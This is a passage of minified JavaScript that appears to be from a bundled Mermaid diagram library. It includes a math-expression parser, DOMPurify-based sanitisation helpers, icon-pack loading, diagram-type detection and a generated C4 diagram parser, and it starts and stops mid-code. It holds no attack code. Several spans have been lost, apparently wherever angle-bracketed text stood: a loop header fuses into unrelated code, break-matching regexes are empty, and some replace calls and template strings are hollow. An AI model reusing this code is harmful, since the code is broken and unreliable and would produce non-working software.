this.expect("EOF"),this.settings.globalGroup||this.gullet.endGroup(),e}finally{this.gullet.endGroups()}}subparse(e){var r=this.nextToken;this.consume(),this.gullet.pushToken(new Do("}")),this.gullet.pushTokens(e);var n=this.parseExpression(!1);return this.expect("}"),this.nextToken=r,n}parseExpression(e,r){for(var n=[];;){this.mode==="math"&&this.consumeSpaces();var i=this.fetch();if(t.endOfExpression.indexOf(i.text)!==-1||r&&i.text===r||e&&xh[i.text]&&xh[i.text].infix)break;var a=this.parseAtom(r);if(a){if(a.type==="internal")continue}else break;n.push(a)}return this.mode==="text"&&this.formLigatures(n),this.handleInfixNodes(n)}handleInfixNodes(e){for(var r=-1,n,i=0;i=0&&this.settings.reportNonstrict("unicodeTextInMathMode",'Latin-1/Unicode text character "'+r[0]+'" used in math mode',e);var l=Nn[this.mode][r].group,u=to.range(e),h;if(STe.hasOwnProperty(l)){var f=l;h={type:"atom",mode:this.mode,family:f,loc:u,text:r}}else h={type:l,mode:this.mode,loc:u,text:r};s=h}else if(r.charCodeAt(0)>=128)this.settings.strict&&(YV(r.charCodeAt(0))?this.mode==="math"&&this.settings.reportNonstrict("unicodeTextInMathMode",'Unicode text character "'+r[0]+'" used in math mode',e):this.settings.reportNonstrict("unknownSymbol",'Unrecognized Unicode character "'+r[0]+'"'+(" ("+r.charCodeAt(0)+")"),e)),s={type:"textord",mode:"text",loc:to.range(e),text:r};else return null;if(this.consume(),a)for(var d=0;d{e.tagName==="A"&&e.hasAttribute("target")&&e.setAttribute(t,e.getAttribute("target")??"")}),yh.addHook("afterSanitizeAttributes",e=>{e.tagName==="A"&&e.hasAttribute(t)&&(e.setAttribute("target",e.getAttribute(t)??""),e.removeAttribute(t),e.getAttribute("target")==="_blank"&&e.setAttribute("rel","noopener"))})}var pd,Pwe,Bwe,KU,XU,sr,$we,zwe,Gwe,Vwe,QU,md,vr,Uwe,Hwe,rc,SA,qwe,Wwe,jU,I3,kn,gd,Ywe,kh,tt,gr=N(()=>{"use strict";O7();pd=//gi,Pwe=o(t=>t?QU(t).replace(/\\n/g,"#br#").split("#br#"):[""],"getRows"),Bwe=(()=>{let t=!1;return()=>{t||(Fwe(),t=!0)}})();o(Fwe,"setupDompurifyHooks");KU=o(t=>(Bwe(),yh.sanitize(t)),"removeScript"),XU=o((t,e)=>{if(e.flowchart?.htmlLabels!==!1){let r=e.securityLevel;r==="antiscript"||r==="strict"?t=KU(t):r!=="loose"&&(t=QU(t),t=t.replace(//g,">"),t=t.replace(/=/g,"="),t=Vwe(t))}return t},"sanitizeMore"),sr=o((t,e)=>t&&(e.dompurifyConfig?t=yh.sanitize(XU(t,e),e.dompurifyConfig).toString():t=yh.sanitize(XU(t,e),{FORBID_TAGS:["style"]}).toString(),t),"sanitizeText"),$we=o((t,e)=>typeof t=="string"?sr(t,e):t.flat().map(r=>sr(r,e)),"sanitizeTextOrArray"),zwe=o(t=>pd.test(t),"hasBreaks"),Gwe=o(t=>t.split(pd),"splitBreaks"),Vwe=o(t=>t.replace(/#br#/g,"
    "),"placeholderToBreak"),QU=o(t=>t.replace(pd,"#br#"),"breakToPlaceholder"),md=o(t=>{let e="";return t&&(e=window.location.protocol+"//"+window.location.host+window.location.pathname+window.location.search,e=CSS.escape(e)),e},"getUrl"),vr=o(t=>!(t===!1||["false","null","0"].includes(String(t).trim().toLowerCase())),"evaluate"),Uwe=o(function(...t){let e=t.filter(r=>!isNaN(r));return Math.max(...e)},"getMax"),Hwe=o(function(...t){let e=t.filter(r=>!isNaN(r));return Math.min(...e)},"getMin"),rc=o(function(t){let e=t.split(/(,)/),r=[];for(let n=0;n0&&n+1Math.max(0,t.split(e).length-1),"countOccurrence"),qwe=o((t,e)=>{let r=SA(t,"~"),n=SA(e,"~");return r===1&&n===1},"shouldCombineSets"),Wwe=o(t=>{let e=SA(t,"~"),r=!1;if(e<=1)return t;e%2!==0&&t.startsWith("~")&&(t=t.substring(1),r=!0);let n=[...t],i=n.indexOf("~"),a=n.lastIndexOf("~");for(;i!==-1&&a!==-1&&i!==a;)n[i]="<",n[a]=">",i=n.indexOf("~"),a=n.lastIndexOf("~");return r&&n.unshift("~"),n.join("")},"processSet"),jU=o(()=>window.MathMLElement!==void 0,"isMathMLSupported"),I3=/\$\$(.*)\$\$/g,kn=o(t=>(t.match(I3)?.length??0)>0,"hasKatex"),gd=o(async(t,e)=>{let r=document.createElement("div");r.innerHTML=await kh(t,e),r.id="katex-temp",r.style.visibility="hidden",r.style.position="absolute",r.style.top="0",document.querySelector("body")?.insertAdjacentElement("beforeend",r);let i={width:r.clientWidth,height:r.clientHeight};return r.remove(),i},"calculateMathMLDimensions"),Ywe=o(async(t,e)=>{if(!kn(t))return t;if(!(jU()||e.legacyMathML||e.forceLegacyMathML))return t.replace(I3,"MathML is unsupported in this environment.");{let{default:r}=await Promise.resolve().then(()=>(YU(),WU)),n=e.forceLegacyMathML||!jU()&&e.legacyMathML?"htmlAndMathml":"mathml";return t.split(pd).map(i=>kn(i)?`
    ${i}
    `:`
    ${i}
    `).join("").replace(I3,(i,a)=>r.renderToString(a,{throwOnError:!0,displayMode:!0,output:n}).replace(/\n/g," ").replace(//g,""))}return t.replace(I3,"Katex is not supported in @mermaid-js/tiny. Please use the full mermaid library.")},"renderKatexUnsanitized"),kh=o(async(t,e)=>sr(await Ywe(t,e),e),"renderKatexSanitized"),tt={getRows:Pwe,sanitizeText:sr,sanitizeTextOrArray:$we,hasBreaks:zwe,splitBreaks:Gwe,lineBreakRegex:pd,removeScript:KU,getUrl:md,evaluate:vr,getMax:Uwe,getMin:Hwe}});var AA,CA,ZU,O3,JU,eH,_s,nc=N(()=>{"use strict";sG();qn();gr();pt();AA={body:'?',height:80,width:80},CA=new Map,ZU=new Map,O3=o(t=>{for(let e of t){if(!e.name)throw new Error('Invalid icon loader. Must have a "name" property with non-empty string value.');if(X.debug("Registering icon pack:",e.name),"loader"in e)ZU.set(e.name,e.loader);else if("icons"in e)CA.set(e.name,e.icons);else throw X.error("Invalid icon loader:",e),new Error('Invalid icon loader. Must have either "icons" or "loader" property.')}},"registerIconPacks"),JU=o(async(t,e)=>{let r=r7(t,!0,e!==void 0);if(!r)throw new Error(`Invalid icon name: ${t}`);let n=r.prefix||e;if(!n)throw new Error(`Icon name must contain a prefix: ${t}`);let i=CA.get(n);if(!i){let s=ZU.get(n);if(!s)throw new Error(`Icon set not found: ${r.prefix}`);try{i={...await s(),prefix:n},CA.set(n,i)}catch(l){throw X.error(l),new Error(`Failed to load icon set: ${r.prefix}`)}}let a=i7(i,r.name);if(!a)throw new Error(`Icon not found: ${t}`);return a},"getRegisteredIconData"),eH=o(async t=>{try{return await JU(t),!0}catch{return!1}},"isIconAvailable"),_s=o(async(t,e,r)=>{let n;try{n=await JU(t,e?.fallbackPrefix)}catch(s){X.error(s),n=AA}let i=s7(n,e),a=l7(o7(i.body),{...i.attributes,...r});return sr(a,Qt())},"getIconSVG")});function P3(t){for(var e=[],r=1;r{"use strict";o(P3,"dedent")});var B3,yd,tH,F3=N(()=>{"use strict";B3=/^-{3}\s*[\n\r](.*?)[\n\r]-{3}\s*[\n\r]+/s,yd=/%{2}{\s*(?:(\w+)\s*:|(\w+))\s*(?:(\w+)|((?:(?!}%{2}).|\r?\n)*))?\s*(?:}%{2})?/gi,tH=/\s*%%.*\n/gm});var A0,DA=N(()=>{"use strict";A0=class extends Error{static{o(this,"UnknownDiagramError")}constructor(e){super(e),this.name="UnknownDiagramError"}}});var gu,_0,ev,LA,rH,vd=N(()=>{"use strict";pt();F3();DA();gu={},_0=o(function(t,e){t=t.replace(B3,"").replace(yd,"").replace(tH,` +`);for(let[r,{detector:n}]of Object.entries(gu))if(n(t,e))return r;throw new A0(`No diagram type detected matching given configuration for text: ${t}`)},"detectType"),ev=o((...t)=>{for(let{id:e,detector:r,loader:n}of t)LA(e,r,n)},"registerLazyLoadedDiagrams"),LA=o((t,e,r)=>{gu[t]&&X.warn(`Detector with key ${t} already exists. Overwriting.`),gu[t]={detector:e,loader:r},X.debug(`Detector with key ${t} added${r?" with loader":""}`)},"addDetector"),rH=o(t=>gu[t].loader,"getDiagramLoader")});var tv,nH,RA=N(()=>{"use strict";tv=(function(){var t=o(function(He,Le,Ie,Ne){for(Ie=Ie||{},Ne=He.length;Ne--;Ie[He[Ne]]=Le);return Ie},"o"),e=[1,24],r=[1,25],n=[1,26],i=[1,27],a=[1,28],s=[1,63],l=[1,64],u=[1,65],h=[1,66],f=[1,67],d=[1,68],p=[1,69],m=[1,29],g=[1,30],y=[1,31],v=[1,32],x=[1,33],b=[1,34],T=[1,35],S=[1,36],w=[1,37],k=[1,38],A=[1,39],C=[1,40],R=[1,41],I=[1,42],L=[1,43],E=[1,44],D=[1,45],_=[1,46],O=[1,47],M=[1,48],P=[1,50],B=[1,51],F=[1,52],G=[1,53],$=[1,54],U=[1,55],j=[1,56],te=[1,57],Y=[1,58],oe=[1,59],J=[1,60],ue=[14,42],re=[14,34,36,37,38,39,40,41,42,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74],ee=[12,14,34,36,37,38,39,40,41,42,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74],Z=[1,82],K=[1,83],ae=[1,84],Q=[1,85],de=[12,14,42],ne=[12,14,33,42],Te=[12,14,33,42,76,77,79,80],q=[12,33],Ve=[34,36,37,38,39,40,41,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74],pe={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,mermaidDoc:4,direction:5,direction_tb:6,direction_bt:7,direction_rl:8,direction_lr:9,graphConfig:10,C4_CONTEXT:11,NEWLINE:12,statements:13,EOF:14,C4_CONTAINER:15,C4_COMPONENT:16,C4_DYNAMIC:17,C4_DEPLOYMENT:18,otherStatements:19,diagramStatements:20,otherStatement:21,title:22,accDescription:23,acc_title:24,acc_title_value:25,acc_descr:26,acc_descr_value:27,acc_descr_multiline_value:28,boundaryStatement:29,boundaryStartStatement:30,boundaryStopStatement:31,boundaryStart:32,LBRACE:33,ENTERPRISE_BOUNDARY:34,attributes:35,SYSTEM_BOUNDARY:36,BOUNDARY:37,CONTAINER_BOUNDARY:38,NODE:39,NODE_L:40,NODE_R:41,RBRACE:42,diagramStatement:43,PERSON:44,PERSON_EXT:45,SYSTEM:46,SYSTEM_DB:47,SYSTEM_QUEUE:48,SYSTEM_EXT:49,SYSTEM_EXT_DB:50,SYSTEM_EXT_QUEUE:51,CONTAINER:52,CONTAINER_DB:53,CONTAINER_QUEUE:54,CONTAINER_EXT:55,CONTAINER_EXT_DB:56,CONTAINER_EXT_QUEUE:57,COMPONENT:58,COMPONENT_DB:59,COMPONENT_QUEUE:60,COMPONENT_EXT:61,COMPONENT_EXT_DB:62,COMPONENT_EXT_QUEUE:63,REL:64,BIREL:65,REL_U:66,REL_D:67,REL_L:68,REL_R:69,REL_B:70,REL_INDEX:71,UPDATE_EL_STYLE:72,UPDATE_REL_STYLE:73,UPDATE_LAYOUT_CONFIG:74,attribute:75,STR:76,STR_KEY:77,STR_VALUE:78,ATTRIBUTE:79,ATTRIBUTE_EMPTY:80,$accept:0,$end:1},terminals_:{2:"error",6:"direction_tb",7:"direction_bt",8:"direction_rl",9:"direction_lr",11:"C4_CONTEXT",12:"NEWLINE",14:"EOF",15:"C4_CONTAINER",16:"C4_COMPONENT",17:"C4_DYNAMIC",18:"C4_DEPLOYMENT",22:"title",23:"accDescription",24:"acc_title",25:"acc_title_value",26:"acc_descr",27:"acc_descr_value",28:"acc_descr_multiline_value",33:"LBRACE",34:"ENTERPRISE_BOUNDARY",36:"SYSTEM_BOUNDARY",37:"BOUNDARY",38:"CONTAINER_BOUNDARY",39:"NODE",40:"NODE_L",41:"NODE_R",42:"RBRACE",44:"PERSON",45:"PERSON_EXT",46:"SYSTEM",47:"SYSTEM_DB",48:"SYSTEM_QUEUE",49:"SYSTEM_EXT",50:"SYSTEM_EXT_DB",51:"SYSTEM_EXT_QUEUE",52:"CONTAINER",53:"CONTAINER_DB",54:"CONTAINER_QUEUE",55:"CONTAINER_EXT",56:"CONTAINER_EXT_DB",57:"CONTAINER_EXT_QUEUE",58:"COMPONENT",59:"COMPONENT_DB",60:"COMPONENT_QUEUE",61:"COMPONENT_EXT",62:"COMPONENT_EXT_DB",63:"COMPONENT_EXT_QUEUE",64:"REL",65:"BIREL",66:"REL_U",67:"REL_D",68:"REL_L",69:"REL_R",70:"REL_B",71:"REL_INDEX",72:"UPDATE_EL_STYLE",73:"UPDATE_REL_STYLE",74:"UPDATE_LAYOUT_CONFIG",76:"STR",77:"STR_KEY",78:"STR_VALUE",79:"ATTRIBUTE",80:"ATTRIBUTE_EMPTY"},productions_:[0,[3,1],[3,1],[5,1],[5,1],[5,1],[5,1],[4,1],[10,4],[10,4],[10,4],[10,4],[10,4],[13,1],[13,1],[13,2],[19,1],[19,2],[19,3],[21,1],[21,1],[21,2],[21,2],[21,1],[29,3],[30,3],[30,3],[30,4],[32,2],[32,2],[32,2],[32,2],[32,2],[32,2],[32,2],[31,1],[20,1],[20,2],[20,3],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,1],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[35,1],[35,2],[75,1],[75,2],[75,1],[75,1]],performAction:o(function(Le,Ie,Ne,Ce,Fe,fe,xe){var W=fe.length-1;switch(Fe){case 3:Ce.setDirection("TB");break;case 4:Ce.setDirection("BT");break;case 5:Ce.setDirection("RL");break;case 6:Ce.setDirection("LR");break;case 8:case 9:case 10:case 11:case 12:Ce.setC4Type(fe[W-3]);break;case 19:Ce.setTitle(fe[W].substring(6)),this.$=fe[W].substring(6);break;case 20:Ce.setAccDescription(fe[W].substring(15)),this.$=fe[W].substring(15);break;case 21:this.$=fe[W].trim(),Ce.setTitle(this.$);break;case 22:case 23:this.$=fe[W].trim(),Ce.setAccDescription(this.$);break;case 28:fe[W].splice(2,0,"ENTERPRISE"),Ce.addPersonOrSystemBoundary(...fe[W]),this.$=fe[W];break;case 29:fe[W].splice(2,0,"SYSTEM"),Ce.addPersonOrSystemBoundary(...fe[W]),this.$=fe[W];break;case 30:Ce.addPersonOrSystemBoundary(...fe[W]),this.$=fe[W];break;case 31:fe[W].splice(2,0,"CONTAINER"),Ce.addContainerBoundary(...fe[W]),this.$=fe[W];break;case 32:Ce.addDeploymentNode("node",...fe[W]),this.$=fe[W];break;case 33:Ce.addDeploymentNode("nodeL",...fe[W]),this.$=fe[W];break;case 34:Ce.addDeploymentNode("nodeR",...fe[W]),this.$=fe[W];break;case 35:Ce.popBoundaryParseStack();break;case 39:Ce.addPersonOrSystem("person",...fe[W]),this.$=fe[W];break;case 40:Ce.addPersonOrSystem("external_person",...fe[W]),this.$=fe[W];break;case 41:Ce.addPersonOrSystem("system",...fe[W]),this.$=fe[W];break;case 42:Ce.addPersonOrSystem("system_db",...fe[W]),this.$=fe[W];break;case 43:Ce.addPersonOrSystem("system_queue",...fe[W]),this.$=fe[W];break;case 44:Ce.addPersonOrSystem("external_system",...fe[W]),this.$=fe[W];break;case 45:Ce.addPersonOrSystem("external_system_db",...fe[W]),this.$=fe[W];break;case 46:Ce.addPersonOrSystem("external_system_queue",...fe[W]),this.$=fe[W];break;case 47:Ce.addContainer("container",...fe[W]),this.$=fe[W];break;case 48:Ce.addContainer("container_db",...fe[W]),this.$=fe[W];break;case 49:Ce.addContainer("container_queue",...fe[W]),this.$=fe[W];break;case 50:Ce.addContainer("external_container",...fe[W]),this.$=fe[W];break;case 51:Ce.addContainer("external_container_db",...fe[W]),this.$=fe[W];break;case 52:Ce.addContainer("external_container_queue",...fe[W]),this.$=fe[W];break;case 53:Ce.addComponent("component",...fe[W]),this.$=fe[W];break;case 54:Ce.addComponent("component_db",...fe[W]),this.$=fe[W];break;case 55:Ce.addComponent("component_queue",...fe[W]),this.$=fe[W];break;case 56:Ce.addComponent("external_component",...fe[W]),this.$=fe[W];break;case 57:Ce.addComponent("external_component_db",...fe[W]),this.$=fe[W];break;case 58:Ce.addComponent("external_component_queue",...fe[W]),this.$=fe[W];break;case 60:Ce.addRel("rel",...fe[W]),this.$=fe[W];break;case 61:Ce.addRel("birel",...fe[W]),this.$=fe[W];break;case 62:Ce.addRel("rel_u",...fe[W]),this.$=fe[W];break;case 63:Ce.addRel("rel_d",...fe[W]),this.$=fe[W];break;case 64:Ce.addRel("rel_l",...fe[W]),this.$=fe[W];break;case 65:Ce.addRel("rel_r",...fe[W]),this.$=fe[W];break;case 66:Ce.addRel("rel_b",...fe[W]),this.$=fe[W];break;case 67:fe[W].splice(0,1),Ce.addRel("rel",...fe[W]),this.$=fe[W];break;case 68:Ce.updateElStyle("update_el_style",...fe[W]),this.$=fe[W];break;case 69:Ce.updateRelStyle("update_rel_style",...fe[W]),this.$=fe[W];break;case 70:Ce.updateLayoutConfig("update_layout_config",...fe[W]),this.$=fe[W];break;case 71:this.$=[fe[W]];break;case 72:fe[W].unshift(fe[W-1]),this.$=fe[W];break;case 73:case 75:this.$=fe[W].trim();break;case 74:let he={};he[fe[W-1].trim()]=fe[W].trim(),this.$=he;break;case 76:this.$="";break}},"anonymous"),table:[{3:1,4:2,5:3,6:[1,5],7:[1,6],8:[1,7],9:[1,8],10:4,11:[1,9],15:[1,10],16:[1,11],17:[1,12],18:[1,13]},{1:[3]},{1:[2,1]},{1:[2,2]},{1:[2,7]},{1:[2,3]},{1:[2,4]},{1:[2,5]},{1:[2,6]},{12:[1,14]},{12:[1,15]},{12:[1,16]},{12:[1,17]},{12:[1,18]},{13:19,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{13:70,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{13:71,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{13:72,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{13:73,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{14:[1,74]},t(ue,[2,13],{43:23,29:49,30:61,32:62,20:75,34:s,36:l,37:u,38:h,39:f,40:d,41:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J}),t(ue,[2,14]),t(re,[2,16],{12:[1,76]}),t(ue,[2,36],{12:[1,77]}),t(ee,[2,19]),t(ee,[2,20]),{25:[1,78]},{27:[1,79]},t(ee,[2,23]),{35:80,75:81,76:Z,77:K,79:ae,80:Q},{35:86,75:81,76:Z,77:K,79:ae,80:Q},{35:87,75:81,76:Z,77:K,79:ae,80:Q},{35:88,75:81,76:Z,77:K,79:ae,80:Q},{35:89,75:81,76:Z,77:K,79:ae,80:Q},{35:90,75:81,76:Z,77:K,79:ae,80:Q},{35:91,75:81,76:Z,77:K,79:ae,80:Q},{35:92,75:81,76:Z,77:K,79:ae,80:Q},{35:93,75:81,76:Z,77:K,79:ae,80:Q},{35:94,75:81,76:Z,77:K,79:ae,80:Q},{35:95,75:81,76:Z,77:K,79:ae,80:Q},{35:96,75:81,76:Z,77:K,79:ae,80:Q},{35:97,75:81,76:Z,77:K,79:ae,80:Q},{35:98,75:81,76:Z,77:K,79:ae,80:Q},{35:99,75:81,76:Z,77:K,79:ae,80:Q},{35:100,75:81,76:Z,77:K,79:ae,80:Q},{35:101,75:81,76:Z,77:K,79:ae,80:Q},{35:102,75:81,76:Z,77:K,79:ae,80:Q},{35:103,75:81,76:Z,77:K,79:ae,80:Q},{35:104,75:81,76:Z,77:K,79:ae,80:Q},t(de,[2,59]),{35:105,75:81,76:Z,77:K,79:ae,80:Q},{35:106,75:81,76:Z,77:K,79:ae,80:Q},{35:107,75:81,76:Z,77:K,79:ae,80:Q},{35:108,75:81,76:Z,77:K,79:ae,80:Q},{35:109,75:81,76:Z,77:K,79:ae,80:Q},{35:110,75:81,76:Z,77:K,79:ae,80:Q},{35:111,75:81,76:Z,77:K,79:ae,80:Q},{35:112,75:81,76:Z,77:K,79:ae,80:Q},{35:113,75:81,76:Z,77:K,79:ae,80:Q},{35:114,75:81,76:Z,77:K,79:ae,80:Q},{35:115,75:81,76:Z,77:K,79:ae,80:Q},{20:116,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{12:[1,118],33:[1,117]},{35:119,75:81,76:Z,77:K,79:ae,80:Q},{35:120,75:81,76:Z,77:K,79:ae,80:Q},{35:121,75:81,76:Z,77:K,79:ae,80:Q},{35:122,75:81,76:Z,77:K,79:ae,80:Q},{35:123,75:81,76:Z,77:K,79:ae,80:Q},{35:124,75:81,76:Z,77:K,79:ae,80:Q},{35:125,75:81,76:Z,77:K,79:ae,80:Q},{14:[1,126]},{14:[1,127]},{14:[1,128]},{14:[1,129]},{1:[2,8]},t(ue,[2,15]),t(re,[2,17],{21:22,19:130,22:e,23:r,24:n,26:i,28:a}),t(ue,[2,37],{19:20,20:21,21:22,43:23,29:49,30:61,32:62,13:131,22:e,23:r,24:n,26:i,28:a,34:s,36:l,37:u,38:h,39:f,40:d,41:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J}),t(ee,[2,21]),t(ee,[2,22]),t(de,[2,39]),t(ne,[2,71],{75:81,35:132,76:Z,77:K,79:ae,80:Q}),t(Te,[2,73]),{78:[1,133]},t(Te,[2,75]),t(Te,[2,76]),t(de,[2,40]),t(de,[2,41]),t(de,[2,42]),t(de,[2,43]),t(de,[2,44]),t(de,[2,45]),t(de,[2,46]),t(de,[2,47]),t(de,[2,48]),t(de,[2,49]),t(de,[2,50]),t(de,[2,51]),t(de,[2,52]),t(de,[2,53]),t(de,[2,54]),t(de,[2,55]),t(de,[2,56]),t(de,[2,57]),t(de,[2,58]),t(de,[2,60]),t(de,[2,61]),t(de,[2,62]),t(de,[2,63]),t(de,[2,64]),t(de,[2,65]),t(de,[2,66]),t(de,[2,67]),t(de,[2,68]),t(de,[2,69]),t(de,[2,70]),{31:134,42:[1,135]},{12:[1,136]},{33:[1,137]},t(q,[2,28]),t(q,[2,29]),t(q,[2,30]),t(q,[2,31]),t(q,[2,32]),t(q,[2,33]),t(q,[2,34]),{1:[2,9]},{1:[2,10]},{1:[2,11]},{1:[2,12]},t(re,[2,18]),t(ue,[2,38]),t(ne,[2,72]),t(Te,[2,74]),t(de,[2,24]),t(de,[2,35]),t(Ve,[2,25]),t(Ve,[2,26],{12:[1,138]}),t(Ve,[2,27])],defaultActions:{2:[2,1],3:[2,2],4:[2,7],5:[2,3],6:[2,4],7:[2,5],8:[2,6],74:[2,8],126:[2,9],127:[2,10],128:[2,11],129:[2,12]},parseError:o(function(Le,Ie){if(Ie.recoverable)this.trace(Le);else{var Ne=new Error(Le);throw Ne.hash=Ie,Ne}},"parseError"),parse:o(function(Le){var Ie=this,Ne=[0],Ce=[],Fe=[null],fe=[],xe=this.table,W="",he=0,z=0,se=0,le=2,ke=1,ve=fe.slice.call(arguments,1),ye=Object.create(this.lexer),Re={yy:{}};for(var _e in this.yy)Object.prototype.hasOwnProperty.call(this.yy,_e)&&(Re.yy[_e]=this.yy[_e]);ye.setInput(Le,Re.yy),Re.yy.lexer=ye,Re.yy.parser=this,typeof ye.yylloc>"u"&&(ye.yylloc={});var ze=ye.yylloc;fe.push(ze);var Ke=ye.options&&ye.options.ranges;typeof Re.yy.parseError=="function"?this.parseError=Re.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function xt(ft){Ne.length=Ne.length-2*ft,Fe.length=Fe.length-ft,fe.length=fe.length-ft}o(xt,"popStack");function We(){var ft;return ft=Ce.pop()||ye.lex()||ke,typeof ft!="number"&&(ft instanceof Array&&(Ce=ft,ft=Ce.pop()),ft=Ie.symbols_[ft]||ft),ft}o(We,"lex");for(var Oe,et,Ue,lt,Gt,vt,Lt={},dt,nt,bt,wt;;){if(Ue=Ne[Ne.length-1],this.defaultActions[Ue]?lt=this.defaultActions[Ue]:((Oe===null||typeof Oe>"u")&&(Oe=We()),lt=xe[Ue]&&xe[Ue][Oe]),typeof lt>"u"||!lt.length||!lt[0]){var yt="";wt=[];for(dt in xe[Ue])this.terminals_[dt]&&dt>le&&wt.push("'"+this.terminals_[dt]+"'");ye.showPosition?yt="Parse error on line "+(he+1)+`: +`+ye.showPosition()+` +Expecting `+wt.join(", ")+", got '"+(this.terminals_[Oe]||Oe)+"'":yt="Parse error on line "+(he+1)+": Unexpected "+(Oe==ke?"end of input":"'"+(this.terminals_[Oe]||Oe)+"'"),this.parseError(yt,{text:ye.match,token:this.terminals_[Oe]||Oe,line:ye.yylineno,loc:ze,expected:wt})}if(lt[0]instanceof Array&<.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Ue+", token: "+Oe);switch(lt[0]){case 1:Ne.push(Oe),Fe.push(ye.yytext),fe.push(ye.yylloc),Ne.push(lt[1]),Oe=null,et?(Oe=et,et=null):(z=ye.yyleng,W=ye.yytext,he=ye.yylineno,ze=ye.yylloc,se>0&&se--);break;case 2:if(nt=this.productions_[lt[1]][1],Lt.$=Fe[Fe.length-nt],Lt._$={first_line:fe[fe.length-(nt||1)].first_line,last_line:fe[fe.length-1].last_line,first_column:fe[fe.length-(nt||1)].first_column,last_column:fe[fe.length-1].last_column},Ke&&(Lt._$.range=[fe[fe.length-(nt||1)].range[0],fe[fe.length-1].range[1]]),vt=this.performAction.apply(Lt,[W,z,he,Re.yy,lt[1],Fe,fe].concat(ve)),typeof vt<"u")return vt;nt&&(Ne=Ne.slice(0,-1*nt*2),Fe=Fe.slice(0,-1*nt),fe=fe.slice(0,-1*nt)),Ne.push(this.productions_[lt[1]][0]),Fe.push(Lt.$),fe.push(Lt._$),bt=xe[Ne[Ne.length-2]][Ne[Ne.length-1]],Ne.push(bt);break;case 3:return!0}}return!0},"parse")},Be=(function(){var He={EOF:1,parseError:o(function(Ie,Ne){if(this.yy.parser)this.yy.parser.parseError(Ie,Ne);else throw new Error(Ie)},"parseError"),setInput:o(function(Le,Ie){return this.yy=Ie||this.yy||{},this._input=Le,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var Le=this._input[0];this.yytext+=Le,this.yyleng++,this.offset++,this.match+=Le,this.matched+=Le;var Ie=Le.match(/(?:\r\n?|\n).*/g);return Ie?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),Le},"input"),unput:o(function(Le){var Ie=Le.length,Ne=Le.split(/(?:\r\n?|\n)/g);this._input=Le+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-Ie),this.offset-=Ie;var Ce=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),Ne.length-1&&(this.yylineno-=Ne.length-1);var Fe=this.yylloc.range;return 